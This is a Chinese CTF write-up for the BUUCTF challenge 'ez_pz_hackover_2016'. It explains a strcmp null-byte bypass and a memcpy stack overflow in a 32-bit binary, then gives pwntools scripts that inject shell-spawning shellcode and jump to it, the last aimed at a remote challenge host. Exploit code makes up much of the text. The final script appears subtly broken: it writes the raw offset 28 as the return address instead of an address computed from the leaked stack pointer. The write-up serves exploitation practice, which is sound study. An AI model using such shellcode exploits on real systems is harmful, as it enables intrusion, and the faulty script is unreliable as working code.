BUUCTF-ez_pz_hackover_2016
通过这个题目,我学到了strcmp函数的功能在遇到\0会停止
在运行程序时输入字符,按下回车键后,也会产生一个\n来占据s的空间
检查并运行下

观察main函数,header()只是打印图形,chall()才是关键函数

在chall中先输出s的地址,之后fgets接收一个不大于1023(0x3ff)的字符到s的缓冲区中,但s的缓冲区有0x40c个字节,所以这里不能进行溢出

v3没用到不看了,v0是s的长度。然后利用strcmp函数把输入的字符和crashme比较,两者不相同,则程序结束,若相同则进入vuln()函数,参数是s和0x400
里面有一个memcpy函数

复制给dest的大小比dest本身大的多,有栈溢出
思路:写入shellcode到s,s中的内容复制到vuln函数中的dest然后溢出,控制程序指向shelldode执行
1.写入shellcode并让程序执行到vuln函数
strcmp函数从左到右逐个字符进行比较(ASCII值),直到出现不同的字符或遇到’\0’为止。
所以在fgets中即使输入了crashme,若没有’\0’,比较会继续进行下去,这样就无法绕过if了,所以应该输入 ‘crashme\x00’ 可以绕过这个if检查
2.vuln函数栈溢出(ida出问题了,不然可以直接看)
在ida里面dest距离ebp是32

但是看到网上师傅们说ida错了,我们调试分析一下
在nop操作0x8048600这里下一个断点,看一下这个时候的栈的情况

脚本
点击查看代码
from pwn import *
#p=remote()
p=process('./ez_pz_hackover_2016')
gdb.attach(p,'b *0x8048600')
payload='crashme\x00'+'aaaaaa'
p.sendline(payload)
pause()
到现在我们就可以去写一个初步的脚本了,我们现在只是不知道s和shellcode的偏移,我们在vuln函数栈溢出后的返回地址先不写。我们运行下这个小脚本,然后看看便宜到底是多少
点击查看代码
from pwn import *
r=process('./ez_pz_hackover_2016')
gdb.attach(r)
r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())
print(hex(stack))
payload=b'crashme\x00'+b'a'*(0x16-8+4)+p32(0)+shellcode
r.sendline(payload)
r.interactive()
栈里面jhh就是我们写入的shellcode的位置,算下来是28

填入,完成最终的exp
点击查看代码
from pwn import *
r=remote('node4.buuoj.cn',25743)
gdb.attach(r)
r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())
print(hex(stack))
payload=b'crashme\x00'+b'a'*(0x16-8+4)+p32(28)+shellcode
r.sendline(payload)
r.interactive()

浙公网安备 33010602011771号